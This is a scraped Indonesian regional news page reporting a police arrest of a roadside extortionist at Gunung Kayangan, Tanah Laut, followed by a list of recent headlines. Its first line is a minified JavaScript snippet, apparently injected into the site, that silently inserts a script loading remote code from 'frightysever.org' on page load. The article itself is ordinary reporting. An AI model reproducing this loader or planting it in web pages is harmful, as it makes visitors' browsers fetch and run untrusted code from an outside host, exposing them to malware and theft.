(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Resahkan Warga, Pelaku Pemerasan Gunung Kayangan Ditangkap Polres Tala


PELAIHARI, Keresahan masyarakat Kabupaten Tanah Laut (Tala) setelah viralnya postingan di media sosial tentang begal di daerah Gunung Kayangan, Pelaihari, tepatnya Jalan A.Yani Desa Sungai Jelai Kecamatan Tambang Ulang, akhirnya terjawab.

AT akhirnya di bekuk satuan Reskrim Polres Tanah Laut saat akan menjalankan aksinya di daerah Gunung Kayangan Pelaihari, Selasa (9/10). Modus yang di pakai AT dengan menakuti korban yang berhenti seorang diri di daerah Gunung Kayangan dengan mengatakan bahwa dirinya baru keluar dari penjara dalam kasus pembunuhan dan tidak mau melukai orang kecuali dengan keadaan terpaksa. Hal inilah yang membuat korban takut dan menyerahkan uang.

Waluyo salah satu korban membenarkan bahwa dirinya di ancam seperti itu dan menyerahkan semua uang yang di milikinya kepada AT.

Kapolres Tanah Laut AKBP Sentot Adi Dharmawan S.IK, MH diwakili Kasat Reskrim Polres Tanah Laut AKP Gita Suhandi Achmadi, S.IK saat Press Release, menjelaskan bahwa pelaku tersebut sempat melarikan diri dan melakukan perlawanan walaupun sudah dilakukan tembakan peringatan.

“Karena pelaku melarikan diri menggunakan sepeda motor maka pihaknya melakukan penembakan di kedua ban sepeda motor yang di kendarai sehingga pelaku jatuh dan berhasil diamankan,” ungkapnya.

Kasat Reskrim Polres Tanah Laut juga menghimbau kepada masyarakat untuk segera melakukan pelaporan jika pernah menjadi korban pelaku  sehingga bisa dengan cepat ditangani Polres Tanah Laut.

AT saat di lakukan wawancara mengungkapkan bahwa dirinya melakukan tindakan kriminal tersebut karena kebutuhan ekonomi walaupun begitu AT harus mempertanggung jawabkan perbuatannya karena melanggar Pasal 368 KUHP dengan ancaman hukuman sembilan tahun penjara.

Kapolres Tanah Laut AKBP Sentot Adi Dharmawan S.IK, MH diwakili Kasat Reskrim Polres Tanah Laut AKP Gita Suhandi Achmadi, S.IK pada kesempatan ini menghimbau kepada masyarakat yang merasa pernah menjadi korban pemerasan oleh AT untuk melapor ke Polres Tanah Laut. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

1 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

17 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

24 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.